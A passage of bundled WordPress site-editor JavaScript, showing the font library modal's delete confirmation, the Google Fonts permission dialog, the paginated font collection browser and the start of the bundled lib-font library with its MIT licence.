13490 external_wp_components_namespaceObject.Button,
13491 {
13492 __next40pxDefaultSize: true,
13493 isDestructive: true,
13494 variant: "tertiary",
13495 onClick: handleUninstallClick,
13496 children: (0,external_wp_i18n_namespaceObject.__)("Delete")
13497 }
13498 ),
13499 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13500 external_wp_components_namespaceObject.Button,
13501 {
13502 __next40pxDefaultSize: true,
13503 variant: "primary",
13504 onClick: handleUpdate,
13505 disabled: !fontFamiliesHasChanges,
13506 accessibleWhenDisabled: true,
13507 children: (0,external_wp_i18n_namespaceObject.__)("Update")
13508 }
13509 )
13510 ]
13511 }
13512 )
13513 ] })
13514 ] });
13515}
13516function ConfirmDeleteDialog({
13517 font,
13518 isOpen,
13519 setIsOpen,
13520 setNotice,
13521 uninstallFontFamily,
13522 handleSetLibraryFontSelected
13523}) {
13524 const navigator = (0,external_wp_components_namespaceObject.useNavigator)();
13525 const handleConfirmUninstall = async () => {
13526 setNotice(null);
13527 setIsOpen(false);
13528 try {
13529 await uninstallFontFamily(font);
13530 navigator.goBack();
13531 handleSetLibraryFontSelected(null);
13532 setNotice({
13533 type: "success",
13534 message: (0,external_wp_i18n_namespaceObject.__)("Font family uninstalled successfully.")
13535 });
13536 } catch (error) {
13537 setNotice({
13538 type: "error",
13539 message: (0,external_wp_i18n_namespaceObject.__)("There was an error uninstalling the font family.") + error.message
13540 });
13541 }
13542 };
13543 const handleCancelUninstall = () => {
13544 setIsOpen(false);
13545 };
13546 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13547 external_wp_components_namespaceObject.__experimentalConfirmDialog,
13548 {
13549 isOpen,
13550 cancelButtonText: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
13551 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
13552 onCancel: handleCancelUninstall,
13553 onConfirm: handleConfirmUninstall,
13554 size: "medium",
13555 children: font && (0,external_wp_i18n_namespaceObject.sprintf)(
13556 /* translators: %s: Name of the font. */
13557 (0,external_wp_i18n_namespaceObject.__)(
13558 'Are you sure you want to delete "%s" font and all its variants and assets?'
13559 ),
13560 font.name
13561 )
13562 }
13563 );
13564}
13565var installed_fonts_default = InstalledFonts;
13566
13567
13568;// ./node_modules/@wordpress/icons/build-module/library/next.js
13569
13570
13571var next_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z" }) });
13572
13573
13574;// ./node_modules/@wordpress/icons/build-module/library/previous.js
13575
13576
13577var previous_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z" }) });
13578
13579
13580;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/filter-fonts.js
13581function filterFonts(fonts, filters) {
13582 const { category, search } = filters;
13583 let filteredFonts = fonts || [];
13584 if (category && category !== "all") {
13585 filteredFonts = filteredFonts.filter(
13586 (font) => font.categories.indexOf(category) !== -1
13587 );
13588 }
13589 if (search) {
13590 filteredFonts = filteredFonts.filter(
13591 (font) => font.font_family_settings.name.toLowerCase().includes(search.toLowerCase())
13592 );
13593 }
13594 return filteredFonts;
13595}
13596
13597
13598;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/fonts-outline.js
13599function getFontsOutline(fonts) {
13600 return fonts.reduce(
13601 (acc, font) => ({
13602 ...acc,
13603 [font.slug]: (font?.fontFace || []).reduce(
13604 (faces, face) => ({
13605 ...faces,
13606 [`${face.fontStyle}-${face.fontWeight}`]: true
13607 }),
13608 {}
13609 )
13610 }),
13611 {}
13612 );
13613}
13614function isFontFontFaceInOutline(slug, face, outline) {
13615 if (!face) {
13616 return !!outline[slug];
13617 }
13618 return !!outline[slug]?.[`${face.fontStyle}-${face.fontWeight}`];
13619}
13620
13621
13622;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/google-fonts-confirm-dialog.js
13623
13624
13625
13626function GoogleFontsConfirmDialog() {
13627 const handleConfirm = () => {
13628 window.localStorage.setItem(
13629 "wp-font-library-google-fonts-permission",
13630 "true"
13631 );
13632 window.dispatchEvent(new Event("storage"));
13633 };
13634 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library__google-fonts-confirm", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Card, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.CardBody, { children: [
13635 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 2, children: (0,external_wp_i18n_namespaceObject.__)("Connect to Google Fonts") }),
13636 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 6 }),
13637 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: (0,external_wp_i18n_namespaceObject.__)(
13638 "To install fonts from Google you must give permission to connect directly to Google servers. The fonts you install will be downloaded from Google and stored on your site. Your site will then use these locally-hosted fonts."
13639 ) }),
13640 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 3 }),
13641 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: (0,external_wp_i18n_namespaceObject.__)(
13642 "You can alternatively upload files directly on the Upload tab."
13643 ) }),
13644 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 6 }),
13645 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13646 external_wp_components_namespaceObject.Button,
13647 {
13648 __next40pxDefaultSize: true,
13649 variant: "primary",
13650 onClick: handleConfirm,
13651 children: (0,external_wp_i18n_namespaceObject.__)("Allow access to Google Fonts")
13652 }
13653 )
13654 ] }) }) });
13655}
13656var google_fonts_confirm_dialog_default = GoogleFontsConfirmDialog;
13657
13658
13659;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/collection-font-variant.js
13660
13661
13662
13663
13664
13665function CollectionFontVariant({
13666 face,
13667 font,
13668 handleToggleVariant,
13669 selected
13670}) {
13671 const handleToggleActivation = () => {
13672 if (font?.fontFace) {
13673 handleToggleVariant(font, face);
13674 return;
13675 }
13676 handleToggleVariant(font);
13677 };
13678 const displayName = font.name + " " + getFontFaceVariantName(face);
13679 const checkboxId = (0,external_wp_element_.useId)();
13680 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__font-card", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { justify: "flex-start", align: "center", gap: "1rem", children: [
13681 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13682 external_wp_components_namespaceObject.CheckboxControl,
13683 {
13684 checked: selected,
13685 onChange: handleToggleActivation,
13686 __nextHasNoMarginBottom: true,
13687 id: checkboxId
13688 }
13689 ),
13690 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("label", { htmlFor: checkboxId, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13691 font_demo_default,
13692 {
13693 font: face,
13694 text: displayName,
13695 onClick: handleToggleActivation
13696 }
13697 ) })
13698 ] }) });
13699}
13700var collection_font_variant_default = CollectionFontVariant;
13701
13702
13703;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/font-collection.js
13704
13705
13706
13707
13708
13709
13710
13711
13712
13713
13714
13715
13716
13717
13718
13719const DEFAULT_CATEGORY = {
13720 slug: "all",
13721 name: (0,external_wp_i18n_namespaceObject._x)("All", "font categories")
13722};
13723const LOCAL_STORAGE_ITEM = "wp-font-library-google-fonts-permission";
13724const MIN_WINDOW_HEIGHT = 500;
13725function FontCollection({ slug }) {
13726 const requiresPermission = slug === "google-fonts";
13727 const getGoogleFontsPermissionFromStorage = () => {
13728 return window.localStorage.getItem(LOCAL_STORAGE_ITEM) === "true";
13729 };
13730 const [selectedFont, setSelectedFont] = (0,external_wp_element_.useState)(null);
13731 const [notice, setNotice] = (0,external_wp_element_.useState)(false);
13732 const [fontsToInstall, setFontsToInstall] = (0,external_wp_element_.useState)([]);
13733 const [page, setPage] = (0,external_wp_element_.useState)(1);
13734 const [filters, setFilters] = (0,external_wp_element_.useState)({});
13735 const [renderConfirmDialog, setRenderConfirmDialog] = (0,external_wp_element_.useState)(
13736 requiresPermission && !getGoogleFontsPermissionFromStorage()
13737 );
13738 const { collections, getFontCollection, installFonts, isInstalling } = (0,external_wp_element_.useContext)(FontLibraryContext);
13739 const selectedCollection = collections.find(
13740 (collection) => collection.slug === slug
13741 );
13742 (0,external_wp_element_.useEffect)(() => {
13743 const handleStorage = () => {
13744 setRenderConfirmDialog(
13745 requiresPermission && !getGoogleFontsPermissionFromStorage()
13746 );
13747 };
13748 handleStorage();
13749 window.addEventListener("storage", handleStorage);
13750 return () => window.removeEventListener("storage", handleStorage);
13751 }, [slug, requiresPermission]);
13752 const revokeAccess = () => {
13753 window.localStorage.setItem(LOCAL_STORAGE_ITEM, "false");
13754 window.dispatchEvent(new Event("storage"));
13755 };
13756 (0,external_wp_element_.useEffect)(() => {
13757 const fetchFontCollection = async () => {
13758 try {
13759 await getFontCollection(slug);
13760 resetFilters();
13761 } catch (e) {
13762 if (!notice) {
13763 setNotice({
13764 type: "error",
13765 message: e?.message
13766 });
13767 }
13768 }
13769 };
13770 fetchFontCollection();
13771 }, [slug, getFontCollection, setNotice, notice]);
13772 (0,external_wp_element_.useEffect)(() => {
13773 setSelectedFont(null);
13774 }, [slug]);
13775 (0,external_wp_element_.useEffect)(() => {
13776 setFontsToInstall([]);
13777 }, [selectedFont]);
13778 const collectionFonts = (0,external_wp_element_.useMemo)(
13779 () => selectedCollection?.font_families ?? [],
13780 [selectedCollection]
13781 );
13782 const collectionCategories = selectedCollection?.categories ?? [];
13783 const categories = [DEFAULT_CATEGORY, ...collectionCategories];
13784 const fonts = (0,external_wp_element_.useMemo)(
13785 () => filterFonts(collectionFonts, filters),
13786 [collectionFonts, filters]
13787 );
13788 const isLoading = !selectedCollection?.font_families && !notice;
13789 const windowHeight = Math.max(window.innerHeight, MIN_WINDOW_HEIGHT);
13790 const pageSize = Math.floor((windowHeight - 417) / 61);
13791 const totalPages = Math.ceil(fonts.length / pageSize);
13792 const itemsStart = (page - 1) * pageSize;
13793 const itemsLimit = page * pageSize;
13794 const items = fonts.slice(itemsStart, itemsLimit);
13795 const handleCategoryFilter = (category) => {
13796 setFilters({ ...filters, category });
13797 setPage(1);
13798 };
13799 const handleUpdateSearchInput = (value) => {
13800 setFilters({ ...filters, search: value });
13801 setPage(1);
13802 };
13803 const debouncedUpdateSearchInput = (0,external_wp_compose_namespaceObject.debounce)(handleUpdateSearchInput, 300);
13804 const resetFilters = () => {
13805 setFilters({});
13806 setPage(1);
13807 };
13808 const handleToggleVariant = (font, face) => {
13809 const newFontsToInstall = toggleFont(font, face, fontsToInstall);
13810 setFontsToInstall(newFontsToInstall);
13811 };
13812 const fontToInstallOutline = getFontsOutline(fontsToInstall);
13813 const resetFontsToInstall = () => {
13814 setFontsToInstall([]);
13815 };
13816 const selectFontCount = fontsToInstall.length > 0 ? fontsToInstall[0]?.fontFace?.length : 0;
13817 const isIndeterminate = selectFontCount > 0 && selectFontCount !== selectedFont?.fontFace?.length;
13818 const isSelectAllChecked = selectFontCount === selectedFont?.fontFace?.length;
13819 const toggleSelectAll = () => {
13820 const newFonts = isSelectAllChecked ? [] : [selectedFont];
13821 setFontsToInstall(newFonts);
13822 };
13823 const handleInstall = async () => {
13824 setNotice(null);
13825 const fontFamily = fontsToInstall[0];
13826 try {
13827 if (fontFamily?.fontFace) {
13828 await Promise.all(
13829 fontFamily.fontFace.map(async (fontFace) => {
13830 if (fontFace.src) {
13831 fontFace.file = await downloadFontFaceAssets(
13832 fontFace.src
13833 );
13834 }
13835 })
13836 );
13837 }
13838 } catch (error) {
13839 setNotice({
13840 type: "error",
13841 message: (0,external_wp_i18n_namespaceObject.__)(
13842 "Error installing the fonts, could not be downloaded."
13843 )
13844 });
13845 return;
13846 }
13847 try {
13848 await installFonts([fontFamily]);
13849 setNotice({
13850 type: "success",
13851 message: (0,external_wp_i18n_namespaceObject.__)("Fonts were installed successfully.")
13852 });
13853 } catch (error) {
13854 setNotice({
13855 type: "error",
13856 message: error.message
13857 });
13858 }
13859 resetFontsToInstall();
13860 };
13861 const getSortedFontFaces = (fontFamily) => {
13862 if (!fontFamily) {
13863 return [];
13864 }
13865 if (!fontFamily.fontFace || !fontFamily.fontFace.length) {
13866 return [
13867 {
13868 fontFamily: fontFamily.fontFamily,
13869 fontStyle: "normal",
13870 fontWeight: "400"
13871 }
13872 ];
13873 }
13874 return sortFontFaces(fontFamily.fontFace);
13875 };
13876 if (renderConfirmDialog) {
13877 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(google_fonts_confirm_dialog_default, {});
13878 }
13879 const ActionsComponent = () => {
13880 if (slug !== "google-fonts" || renderConfirmDialog || selectedFont) {
13881 return null;
13882 }
13883 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13884 external_wp_components_namespaceObject.DropdownMenu,
13885 {
13886 icon: more_vertical_default,
13887 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
13888 popoverProps: {
13889 position: "bottom left"
13890 },
13891 controls: [
13892 {
13893 title: (0,external_wp_i18n_namespaceObject.__)("Revoke access to Google Fonts"),
13894 onClick: revokeAccess
13895 }
13896 ]
13897 }
13898 );
13899 };
13900 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "font-library-modal__tabpanel-layout", children: [
13901 isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__loading", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {}) }),
13902 !isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
13903 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
13904 external_wp_components_namespaceObject.Navigator,
13905 {
13906 initialPath: "/",
13907 className: "font-library-modal__tabpanel-layout",
13908 children: [
13909 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, { path: "/", children: [
13910 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
13911 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { children: [
13912 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, { level: 2, size: 13, children: selectedCollection.name }),
13913 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: selectedCollection.description })
13914 ] }),
13915 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsComponent, {})
13916 ] }),
13917 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 4 }),
13918 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { children: [
13919 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13920 external_wp_components_namespaceObject.SearchControl,
13921 {
13922 className: "font-library-modal__search",
13923 value: filters.search,
13924 placeholder: (0,external_wp_i18n_namespaceObject.__)("Font name\u2026"),
13925 label: (0,external_wp_i18n_namespaceObject.__)("Search"),
13926 onChange: debouncedUpdateSearchInput,
13927 __nextHasNoMarginBottom: true,
13928 hideLabelFromVision: false
13929 }
13930 ) }),
13931 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13932 external_wp_components_namespaceObject.SelectControl,
13933 {
13934 __nextHasNoMarginBottom: true,
13935 __next40pxDefaultSize: true,
13936 label: (0,external_wp_i18n_namespaceObject.__)("Category"),
13937 value: filters.category,
13938 onChange: handleCategoryFilter,
13939 children: categories && categories.map((category) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13940 "option",
13941 {
13942 value: category.slug,
13943 children: category.name
13944 },
13945 category.slug
13946 ))
13947 }
13948 ) })
13949 ] }),
13950 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 4 }),
13951 !!selectedCollection?.font_families?.length && !fonts.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)(
13952 "No fonts found. Try with a different search term."
13953 ) }),
13954 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__fonts-grid__main", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13955 "ul",
13956 {
13957 role: "list",
13958 className: "font-library-modal__fonts-list",
13959 children: items.map((font) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13960 "li",
13961 {
13962 className: "font-library-modal__fonts-list-item",
13963 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13964 font_card_default,
13965 {
13966 font: font.font_family_settings,
13967 navigatorPath: "/fontFamily",
13968 onClick: () => {
13969 setSelectedFont(
13970 font.font_family_settings
13971 );
13972 }
13973 }
13974 )
13975 },
13976 font.font_family_settings.slug
13977 ))
13978 }
13979 ) })
13980 ] }),
13981 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Navigator.Screen, { path: "/fontFamily", children: [
13982 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { justify: "flex-start", children: [
13983 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13984 external_wp_components_namespaceObject.Navigator.BackButton,
13985 {
13986 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
13987 size: "small",
13988 onClick: () => {
13989 setSelectedFont(null);
13990 setNotice(null);
13991 },
13992 label: (0,external_wp_i18n_namespaceObject.__)("Back")
13993 }
13994 ),
13995 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
13996 external_wp_components_namespaceObject.__experimentalHeading,
13997 {
13998 level: 2,
13999 size: 13,
14000 className: "edit-site-global-styles-header",
14001 children: selectedFont?.name
14002 }
14003 )
14004 ] }),
14005 notice && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
14006 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 1 }),
14007 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14008 external_wp_components_namespaceObject.Notice,
14009 {
14010 status: notice.type,
14011 onRemove: () => setNotice(null),
14012 children: notice.message
14013 }
14014 ),
14015 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 1 })
14016 ] }),
14017 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 4 }),
14018 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { children: (0,external_wp_i18n_namespaceObject.__)("Select font variants to install.") }),
14019 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 4 }),
14020 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14021 external_wp_components_namespaceObject.CheckboxControl,
14022 {
14023 className: "font-library-modal__select-all",
14024 label: (0,external_wp_i18n_namespaceObject.__)("Select all"),
14025 checked: isSelectAllChecked,
14026 onChange: toggleSelectAll,
14027 indeterminate: isIndeterminate,
14028 __nextHasNoMarginBottom: true
14029 }
14030 ),
14031 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 0, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14032 "ul",
14033 {
14034 role: "list",
14035 className: "font-library-modal__fonts-list",
14036 children: getSortedFontFaces(selectedFont).map(
14037 (face, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14038 "li",
14039 {
14040 className: "font-library-modal__fonts-list-item",
14041 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14042 collection_font_variant_default,
14043 {
14044 font: selectedFont,
14045 face,
14046 handleToggleVariant,
14047 selected: isFontFontFaceInOutline(
14048 selectedFont.slug,
14049 selectedFont.fontFace ? face : null,
14050 // If the font has no fontFace, we want to check if the font is in the outline
14051 fontToInstallOutline
14052 )
14053 }
14054 )
14055 },
14056 `face${i}`
14057 )
14058 )
14059 }
14060 ) }),
14061 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 16 })
14062 ] })
14063 ]
14064 }
14065 ),
14066 selectedFont && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14067 external_wp_components_namespaceObject.Flex,
14068 {
14069 justify: "flex-end",
14070 className: "font-library-modal__footer",
14071 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14072 external_wp_components_namespaceObject.Button,
14073 {
14074 __next40pxDefaultSize: true,
14075 variant: "primary",
14076 onClick: handleInstall,
14077 isBusy: isInstalling,
14078 disabled: fontsToInstall.length === 0 || isInstalling,
14079 accessibleWhenDisabled: true,
14080 children: (0,external_wp_i18n_namespaceObject.__)("Install")
14081 }
14082 )
14083 }
14084 ),
14085 !selectedFont && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
14086 external_wp_components_namespaceObject.__experimentalHStack,
14087 {
14088 expanded: false,
14089 className: "font-library-modal__footer",
14090 justify: "end",
14091 spacing: 6,
14092 children: [
14093 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14094 external_wp_components_namespaceObject.__experimentalHStack,
14095 {
14096 justify: "flex-start",
14097 expanded: false,
14098 spacing: 1,
14099 className: "font-library-modal__page-selection",
14100 children: (0,external_wp_element_.createInterpolateElement)(
14101 (0,external_wp_i18n_namespaceObject.sprintf)(
14102 // translators: 1: Current page number, 2: Total number of pages.
14103 (0,external_wp_i18n_namespaceObject._x)(
14104 "<div>Page</div>%1$s<div>of %2$s</div>",
14105 "paging"
14106 ),
14107 "<CurrentPage />",
14108 totalPages
14109 ),
14110 {
14111 div: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { "aria-hidden": true }),
14112 CurrentPage: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14113 external_wp_components_namespaceObject.SelectControl,
14114 {
14115 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
14116 "Current page"
14117 ),
14118 value: page,
14119 options: [
14120 ...Array(totalPages)
14121 ].map((e, i) => {
14122 return {
14123 label: i + 1,
14124 value: i + 1
14125 };
14126 }),
14127 onChange: (newPage) => setPage(
14128 parseInt(newPage)
14129 ),
14130 size: "small",
14131 __nextHasNoMarginBottom: true,
14132 variant: "minimal"
14133 }
14134 )
14135 }
14136 )
14137 }
14138 ),
14139 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { expanded: false, spacing: 1, children: [
14140 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14141 external_wp_components_namespaceObject.Button,
14142 {
14143 onClick: () => setPage(page - 1),
14144 disabled: page === 1,
14145 accessibleWhenDisabled: true,
14146 label: (0,external_wp_i18n_namespaceObject.__)("Previous page"),
14147 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? next_default : previous_default,
14148 showTooltip: true,
14149 size: "compact",
14150 tooltipPosition: "top"
14151 }
14152 ),
14153 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14154 external_wp_components_namespaceObject.Button,
14155 {
14156 onClick: () => setPage(page + 1),
14157 disabled: page === totalPages,
14158 accessibleWhenDisabled: true,
14159 label: (0,external_wp_i18n_namespaceObject.__)("Next page"),
14160 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? previous_default : next_default,
14161 showTooltip: true,
14162 size: "compact",
14163 tooltipPosition: "top"
14164 }
14165 )
14166 ] })
14167 ]
14168 }
14169 )
14170 ] })
14171 ] });
14172}
14173var font_collection_default = FontCollection;
14174
14175
14176// EXTERNAL MODULE: ./node_modules/@wordpress/edit-site/lib/unbrotli.js
14177var unbrotli = __webpack_require__(8572);
14178var unbrotli_default = /*#__PURE__*/__webpack_require__.n(unbrotli);
14179// EXTERNAL MODULE: ./node_modules/@wordpress/edit-site/lib/inflate.js
14180var inflate = __webpack_require__(4660);
14181var inflate_default = /*#__PURE__*/__webpack_require__.n(inflate);
14182;// ./node_modules/@wordpress/edit-site/lib/lib-font.browser.js
14183/**
14184 * Credits:
14185 *
14186 * lib-font
14187 * https://github.com/Pomax/lib-font
14188 * https://github.com/Pomax/lib-font/blob/master/lib-font.browser.js
14189 *
14190 * The MIT License (MIT)
14191 *
14192 * Copyright (c) 2020 pomax@nihongoresources.com
14193 *
14194 * Permission is hereby granted, free of charge, to any person obtaining a copy
14195 * of this software and associated documentation files (the "Software"), to deal
14196 * in the Software without restriction, including without limitation the rights
14197 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
14198 * copies of the Software, and to permit persons to whom the Software is
14199 * furnished to do so, subject to the following conditions:
14200 *
14201 * The above copyright notice and this permission notice shall be included in all
14202 * copies or substantial portions of the Software.
14203 *
14204 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14205 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
14206 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
14207 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
14208 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
14209 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
14210 * SOFTWARE.
14211 */
14212
14213/* eslint eslint-comments/no-unlimited-disable: 0 */
14214/* eslint-disable */
14215// import pako from 'pako';
14216
14217
14218
14219let fetchFunction = globalThis.fetch;
14220// if ( ! fetchFunction ) {
14221// let backlog = [];
14222// fetchFunction = globalThis.fetch = ( ...args ) =>
14223// new Promise( ( resolve, reject ) => {
14224// backlog.push( { args: args, resolve: resolve, reject: reject } );
14225// } );
14226// import( 'fs' )
14227// .then( ( fs ) => {
14228// fetchFunction = globalThis.fetch = async function ( path ) {
14229// return new Promise( ( resolve, reject ) => {
14230// fs.readFile( path, ( err, data ) => {
14231// if ( err ) return reject( err );
14232// resolve( { ok: true, arrayBuffer: () => data.buffer } );
14233// } );
14234// } );
14235// };
14236// while ( backlog.length ) {
14237// let instruction = backlog.shift();
14238// fetchFunction( ...instruction.args )
14239// .then( ( data ) => instruction.resolve( data ) )
14240// .catch( ( err ) => instruction.reject( err ) );
14241// }
14242// } )
14243// .catch( ( err ) => {
14244// console.error( err );
14245// throw new Error(
14246// `lib-font cannot run unless either the Fetch API or Node's filesystem module is available.`
14247// );
14248// } );
14249// }
